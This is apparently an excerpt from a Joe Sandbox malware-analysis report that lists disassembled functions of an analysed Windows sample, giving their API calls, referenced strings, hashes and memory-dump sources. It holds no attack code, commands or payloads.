Download Yara Rule

APIs

Part of subcall function 00F48F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00F48BE8,?,00000000,?,?,?,?,00F48BBA,00000000,?), ref: 00F48FC5

DestroyWindow.USER32(?), ref: 00F48C81
KillTimer.USER32(00000000,?,?,?,?,00F48BBA,00000000,?), ref: 00F48D1B
DestroyAcceleratorTable.USER32(00000000), ref: 00F86973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,00F48BBA,00000000,?), ref: 00F869A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,00F48BBA,00000000,?), ref: 00F869B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00F48BBA,00000000), ref: 00F869D4
DeleteObject.GDI32(00000000), ref: 00F869E6

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: d60af06578d1413c3beea4aa0c6798d023df6ea3d52a193ccb52717d3a7c6819
Instruction ID: 8b2bec7a2a3d9ecba77412f0685ee46f6885bc830bee73bc0a97ce58cb277266
Opcode Fuzzy Hash: d60af06578d1413c3beea4aa0c6798d023df6ea3d52a193ccb52717d3a7c6819
Instruction Fuzzy Hash: 1061CE31902611DFDB369F14DA89B697BF1FB40362F104518E5829B5A0CB3AE982FF90

Function 00F49838 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 00F49944: GetWindowLongW.USER32(?,000000EB), ref: 00F49952

GetSysColor.USER32(0000000F), ref: 00F49862

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 827ceba26f481ba5122201670c8a62472622292cc01698b3ff839e8707c19894
Instruction ID: e318cc86b52e3b8e0dc3d376120a4fb58b3416926d5fc30b4b06804c795a8eb1
Opcode Fuzzy Hash: 827ceba26f481ba5122201670c8a62472622292cc01698b3ff839e8707c19894
Instruction Fuzzy Hash: FA4193316086449FDB209F3C9C49FBA3B65AB46330F684615FDA68B1E1D771D842FB50

Function 00F996E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,?,?,00F7F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?), ref: 00F99717
LoadStringW.USER32(00000000,?,00F7F7F8,00000001), ref: 00F99720

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,00F7F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?,00000000), ref: 00F99742
LoadStringW.USER32(00000000,?,00F7F7F8,00000001), ref: 00F99745
MessageBoxW.USER32(00000000,00000000,?,00011010), ref: 00F99866

Strings

Error: , xrefs: 00F9981D
%s (%d) : ==> %s: %s %s, xrefs: 00F9984A
Line %d:, xrefs: 00F997A0
^ ERROR, xrefs: 00F997FB
Line %d (File "%s"):, xrefs: 00F9978F

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: 5eb3bcd8a39cbaae61690e69bdcb45d6b74be6308f93bb52b243a1ba5899db33
Instruction ID: 81b5d27c674b5df8ad07d555ca5ed1410481daf934987e2d2c4f18e9c5e4705b
Opcode Fuzzy Hash: 5eb3bcd8a39cbaae61690e69bdcb45d6b74be6308f93bb52b243a1ba5899db33
Instruction Fuzzy Hash: C8414172804119AADF04FBE4CE46EEE7778AF55350F504029F605B2092EFB95F48EB61

Function 00F906DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00F36B57: _wcslen.LIBCMT ref: 00F36B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00F907A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00F907BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00F907DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00F90804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 00F9082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00F90837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00F9083C

Strings

\IPC$, xrefs: 00F90784
SOFTWARE\Classes\, xrefs: 00F9070E
\CLSID, xrefs: 00F90724

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: 36d52a45ca7ec39a08d1b54ceb1ef8f9a659e7d9433dda86edaca25872f79a22
Instruction ID: e2e7311fc196e056edeac4c3c5979f9af5878f0b929ec3d9d5fd3ebb172ac72b
Opcode Fuzzy Hash: 36d52a45ca7ec39a08d1b54ceb1ef8f9a659e7d9433dda86edaca25872f79a22
Instruction Fuzzy Hash: 14411572C1022DAFDF25EBA4DC85CEDB778BF44760F444129E905A31A1EB749E04EBA0

Function 00FC3F98 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00FC403B
CreateCompatibleDC.GDI32(00000000), ref: 00FC4042
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00FC4055
SelectObject.GDI32(00000000,00000000), ref: 00FC405D
GetPixel.GDI32(00000000,00000000,00000000), ref: 00FC4068
DeleteDC.GDI32(00000000), ref: 00FC4072
GetWindowLongW.USER32(?,000000EC), ref: 00FC407C
SetLayeredWindowAttributes.USER32(?,?,00000000,00000001,?,00000000,?), ref: 00FC4092
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?), ref: 00FC409E

Strings

static, xrefs: 00FC3FD3

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 2e197a870bf7502f297ecf4982768d2301d9d448a1f95c5de50e76138a49e232
Instruction ID: e843e4a6ef1f803dcd292e6e2072158d18896d244257aad96374b06369c69eb9
Opcode Fuzzy Hash: 2e197a870bf7502f297ecf4982768d2301d9d448a1f95c5de50e76138a49e232
Instruction Fuzzy Hash: 1631603254121AAFDF219FA4CE46FDA3B68FF0D360F110215FA58E61A0C775D811EB90

Function 00FB3C30 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00FB3C5C
CoInitialize.OLE32(00000000), ref: 00FB3C8A
CoUninitialize.OLE32 ref: 00FB3C94
_wcslen.LIBCMT ref: 00FB3D2D
GetRunningObjectTable.OLE32(00000000,?), ref: 00FB3DB1
SetErrorMode.KERNEL32(00000001,00000029), ref: 00FB3ED5
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 00FB3F0E
CoGetObject.OLE32(?,00000000,00FCFB98,?), ref: 00FB3F2D
SetErrorMode.KERNEL32(00000000), ref: 00FB3F40
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00FB3FC4
VariantClear.OLEAUT32(?), ref: 00FB3FD8

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: a8a848bd030888a968ff1a96b289fee350a62a0f38528c94a69070af192f4e58
Instruction ID: 6b8d1f27818f3c5a2f7047111b86d1f82f512a49871e8fc4a0e99594e8050edf
Opcode Fuzzy Hash: a8a848bd030888a968ff1a96b289fee350a62a0f38528c94a69070af192f4e58
Instruction Fuzzy Hash: 93C16571A083059FC700DF6AC98496BBBE9FF88754F14491DF98A9B250DB30EE05DB92

Function 00FA7A96 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00FA7AF3
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00FA7B8F
SHGetDesktopFolder.SHELL32(?), ref: 00FA7BA3
CoCreateInstance.OLE32(00FCFD08,00000000,00000001,00FF6E6C,?), ref: 00FA7BEF
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00FA7C74
CoTaskMemFree.OLE32(?,?), ref: 00FA7CCC
SHBrowseForFolderW.SHELL32(?), ref: 00FA7D57
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00FA7D7A
CoTaskMemFree.OLE32(00000000), ref: 00FA7D81
CoTaskMemFree.OLE32(00000000), ref: 00FA7DD6
CoUninitialize.OLE32 ref: 00FA7DDC

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: b25cdf86cbdaced4d0604dbace6034dfd5e97180697c8856115318e255f5f21e
Instruction ID: 45b851ece2dabaa4f9660431b8692bbfb352127f642e35c6f91edf2660dc90b5
Opcode Fuzzy Hash: b25cdf86cbdaced4d0604dbace6034dfd5e97180697c8856115318e255f5f21e
Instruction Fuzzy Hash: A6C12AB5A04209AFCB14DF64C884DAEBBF9FF49314F148499E81ADB261D730ED45DB90

Function 00FC541D Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00FC5504
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00FC5515
CharNextW.USER32(00000158), ref: 00FC5544
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00FC5585
SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00FC559B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00FC55AC

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: a2211eb8d84b397c2f2fc48326b85ea64a963300dbaa9d34a2dd2c8c315a18fb
Instruction ID: 12315f7587b12d2d6a6bdcdf005a06aa7a6685f7133302051bbdbcac9e2f6568
Opcode Fuzzy Hash: a2211eb8d84b397c2f2fc48326b85ea64a963300dbaa9d34a2dd2c8c315a18fb
Instruction Fuzzy Hash: E5618C3190060AABDF10DF54CE86FFE7B79AB05B24F104549F529AB290D774AA80FB60

Function 00F8FA88 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00F8FAAF
SafeArrayAllocData.OLEAUT32(?), ref: 00F8FB08
VariantInit.OLEAUT32(?), ref: 00F8FB1A
SafeArrayAccessData.OLEAUT32(?,?), ref: 00F8FB3A
VariantCopy.OLEAUT32(?,?), ref: 00F8FB8D
SafeArrayUnaccessData.OLEAUT32(?), ref: 00F8FBA1
VariantClear.OLEAUT32(?), ref: 00F8FBB6
SafeArrayDestroyData.OLEAUT32(?), ref: 00F8FBC3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00F8FBCC
VariantClear.OLEAUT32(?), ref: 00F8FBDE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00F8FBE9

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 778c0629e75a9e59f533a16dedd576b1dab48ab3b41209ac9ffd1d17a0837369
Instruction ID: 49f29a5b5c426a335b05a4a283f50cb6861d5fb6bf7db8f0a9a453ec613672cb
Opcode Fuzzy Hash: 778c0629e75a9e59f533a16dedd576b1dab48ab3b41209ac9ffd1d17a0837369
Instruction Fuzzy Hash: D9413E35A002199FCB04EF64CC55DEEBBB9FF48354F008069E95AA7261DB34A949DFA0

Function 00F99C79 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00F99CA1
GetAsyncKeyState.USER32(000000A0), ref: 00F99D22
GetKeyState.USER32(000000A0), ref: 00F99D3D
GetAsyncKeyState.USER32(000000A1), ref: 00F99D57
GetKeyState.USER32(000000A1), ref: 00F99D6C
GetAsyncKeyState.USER32(00000011), ref: 00F99D84
GetKeyState.USER32(00000011), ref: 00F99D96
GetAsyncKeyState.USER32(00000012), ref: 00F99DAE
GetKeyState.USER32(00000012), ref: 00F99DC0
GetAsyncKeyState.USER32(0000005B), ref: 00F99DD8
GetKeyState.USER32(0000005B), ref: 00F99DEA

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 70262764f96fb4e6db3467ff1b609c9f216945bcb30152afe092db66e2b2a953
Instruction ID: 28dfbae6ecd68f4c5b64f4fdcb2206f03fd6a22bd98bdd821e419fce05e7bf42
Opcode Fuzzy Hash: 70262764f96fb4e6db3467ff1b609c9f216945bcb30152afe092db66e2b2a953
Instruction Fuzzy Hash: 4241FB30D0C7CA69FF31976889443B5BEA06F12364F09405EC9C6575C1EBE559C8EBA2

Function 00FB055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00FB05BC
inet_addr.WSOCK32(?), ref: 00FB061C
gethostbyname.WSOCK32(?), ref: 00FB0628
IcmpCreateFile.IPHLPAPI ref: 00FB0636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00FB06C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00FB06E5
IcmpCloseHandle.IPHLPAPI(?), ref: 00FB07B9
WSACleanup.WSOCK32 ref: 00FB07BF

Strings

Ping, xrefs: 00FB0676

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: e69f44cea7f96c8cb5df084a08ff53f4677af30e376009e6046bba4591410a28
Instruction ID: 049ea33b6bbbc06ecf263832ea710dacdae9f9177335b61f5eb384826478eac4
Opcode Fuzzy Hash: e69f44cea7f96c8cb5df084a08ff53f4677af30e376009e6046bba4591410a28
Instruction Fuzzy Hash: 539190359042019FD720DF16C989F5BBBE0EF44328F1885A9F4698B6A2CB34EC45EF91

Function 00FB8CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 00FB8CF3

Part of subcall function 00F98E54: _wcslen.LIBCMT ref: 00F98E77

_wcslen.LIBCMT ref: 00FB8D4E
_wcslen.LIBCMT ref: 00FB8D9C
_wcslen.LIBCMT ref: 00FB8DDC
_wcslen.LIBCMT ref: 00FB8E6E

Strings

cdecl, xrefs: 00FB8D48, 00FB8D4D
none, xrefs: 00FB8E65, 00FB8E6A
stdcall, xrefs: 00FB8DD6, 00FB8DDB
winapi, xrefs: 00FB8D96, 00FB8D9B

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: 9fbd70ee54cc8b8a5b4103ae8e829ec7aa7382f93b2d11c43d96368431e75ee5
Instruction ID: 1e7d594a5d76813f62bd2c5120aa038ab9ce5733999bae18bdb0cbe033a58d9d
Opcode Fuzzy Hash: 9fbd70ee54cc8b8a5b4103ae8e829ec7aa7382f93b2d11c43d96368431e75ee5
Instruction Fuzzy Hash: AB51B431A041169BCB14DFA9C9419FEB7A9BFA4364B204229E916E7284DF34DD42EB90

Function 00FB372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00FB3774
CoUninitialize.OLE32 ref: 00FB377F
CoCreateInstance.OLE32(?,00000000,00000017,00FCFB78,?), ref: 00FB37D9
IIDFromString.OLE32(?,?), ref: 00FB384C
VariantInit.OLEAUT32(?), ref: 00FB38E4
VariantClear.OLEAUT32(?), ref: 00FB3936

Strings

Invalid parameter, xrefs: 00FB3865
Failed to create object, xrefs: 00FB37E4, 00FB389A
NULL Pointer assignment, xrefs: 00FB381E

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: befa0de3a7d5d0248a58a822fd10e4bca1516988b846c3d81fccc0a92f6bb5de
Instruction ID: 71203e1948a633ae1b964c811771d907e82e5d04f393c8e22586653aaeb84f1a
Opcode Fuzzy Hash: befa0de3a7d5d0248a58a822fd10e4bca1516988b846c3d81fccc0a92f6bb5de
Instruction Fuzzy Hash: 3B61A072648301AFD710DF55C889FAABBE8EF44710F104809F98597291DB74EE48EF92

Function 00FA3388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00FA33CF

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00FA33F0

Strings

Error: , xrefs: 00FA34D1
"%s" (%d) : ==> %s:, xrefs: 00FA3522
"%s" (%d) : ==> %s:%s%s, xrefs: 00FA3504
Line %d (File "%s"):, xrefs: 00FA3443, 00FA345C
Incorrect parameters to object property !, xrefs: 00FA34AB
^ ERROR , xrefs: 00FA349E

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-3080491070
Opcode ID: 3db9bf5284ec299a4178235bdbf994389a53bf5aef737b1c5997afea289b71f1
Instruction ID: abc96c998d0a60460aa83cef109a2984c73a7ead069de1c2744ce0c9ab345738
Opcode Fuzzy Hash: 3db9bf5284ec299a4178235bdbf994389a53bf5aef737b1c5997afea289b71f1
Instruction Fuzzy Hash: 6A51AF72C0420AAADF15EBA0CD42EEEB778EF04350F148065F505B2062EB796F58FB61

Function 00F9B5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00F9B5FC
_wcslen.LIBCMT ref: 00F9B608
_wcslen.LIBCMT ref: 00F9B64D
_wcslen.LIBCMT ref: 00F9B68C
_wcslen.LIBCMT ref: 00F9B6C7

Strings

KEYS, xrefs: 00F9B647, 00F9B64C
